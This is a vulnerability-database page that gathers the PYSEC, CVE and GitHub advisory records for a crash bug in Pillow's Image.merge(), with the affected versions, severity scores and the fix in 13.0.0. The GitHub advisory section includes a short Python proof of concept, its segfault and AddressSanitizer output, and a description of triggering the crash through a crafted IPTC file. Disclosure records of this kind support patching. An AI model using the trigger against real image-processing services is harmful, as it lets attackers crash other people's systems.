Vulnerability-Lookup

PYSEC-2026-4333

Vulnerability from pysec - Published: 2026-10-19 22:17 - Updated: 2026-10-28 10:34

Details

Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

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{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "12.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112405",
    "GHSA-cp9v-662q-vvx9"
  ],
  "details": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow\u0027s Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.",
  "id": "PYSEC-2026-4333",
  "modified": "2026-10-28T10:34:04.147560Z",
  "published": "2026-10-19T22:17:08.027Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-112405 (GCVE-0-2026-112405)

Vulnerability from cvelistv5 – Published: 2026-10-19 21:29 – Updated: 2026-10-20 15:56

Title

Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0

Summary

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-20 15:56 UTC

CWE

CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7926 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/b6…	x_refsource_MISC
https://github.com/python-pillow/Pillow/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: >= 12.0.0, < 13.0.0

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-112405",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T15:56:00.942567Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-20T15:56:29.299Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 12.0.0, \u003c 13.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow\u0027s Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476: NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-19T21:29:53.515Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
        }
      ],
      "source": {
        "advisory": "GHSA-cp9v-662q-vvx9",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-112405",
    "datePublished": "2026-10-19T21:29:53.515Z",
    "dateReserved": "2026-10-19T16:58:51.960Z",
    "dateUpdated": "2026-10-20T15:56:29.299Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-CP9V-662Q-VVX9

Vulnerability from github – Published: 2026-10-21 20:30 – Updated: 2026-10-21 20:30

Summary

Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0

Details

Summary

Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

Details

The validation loop skips band 0:

src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.

For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:

src/libImaging/Bands.c:302, :311, :321

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

src/PIL/IptcImagePlugin.py:156-160
src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.

PoC

from PIL import Image

# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])

Run it:

$ python 02_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
    #0 ImagingMerge   src/libImaging/Bands.c:311
    #1 _merge         src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge

The null address confirms the dereference of the missing image8 plane for band 0.

Impact

NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T20:30:25Z",
    "nvd_published_at": "2026-10-19T22:17:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.\n\n### Details\nThe validation loop skips band 0:\n\n- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]-\u003eimage8[y]` for the multi-band output modes:\n\n- `src/libImaging/Bands.c:302`, `:311`, `:321`\n\nThe IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:\n\n- `src/PIL/IptcImagePlugin.py:156-160`\n- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.\n\n### PoC\n```python\nfrom PIL import Image\n\n# Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only\n# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.\nband0 = Image.new(\"I\", (4, 4))\nImage.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))])\n```\n\nRun it:\n```\n$ python 02_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\n    #0 ImagingMerge   src/libImaging/Bands.c:311\n    #1 _merge         src/_imaging.c:2492\nSUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge\n```\nThe null address confirms the dereference of the missing `image8` plane for band 0.\n\n### Impact\nNULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.",
  "id": "GHSA-cp9v-662q-vvx9",
  "modified": "2026-10-21T20:30:25Z",
  "published": "2026-10-21T20:30:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Published Proof of Concept: A public proof of concept is available for this vulnerability.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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PYSEC-2026-4333

CVE-2026-112405 (GCVE-0-2026-112405)

GHSA-CP9V-662Q-VVX9

Summary

Details

PoC

Impact

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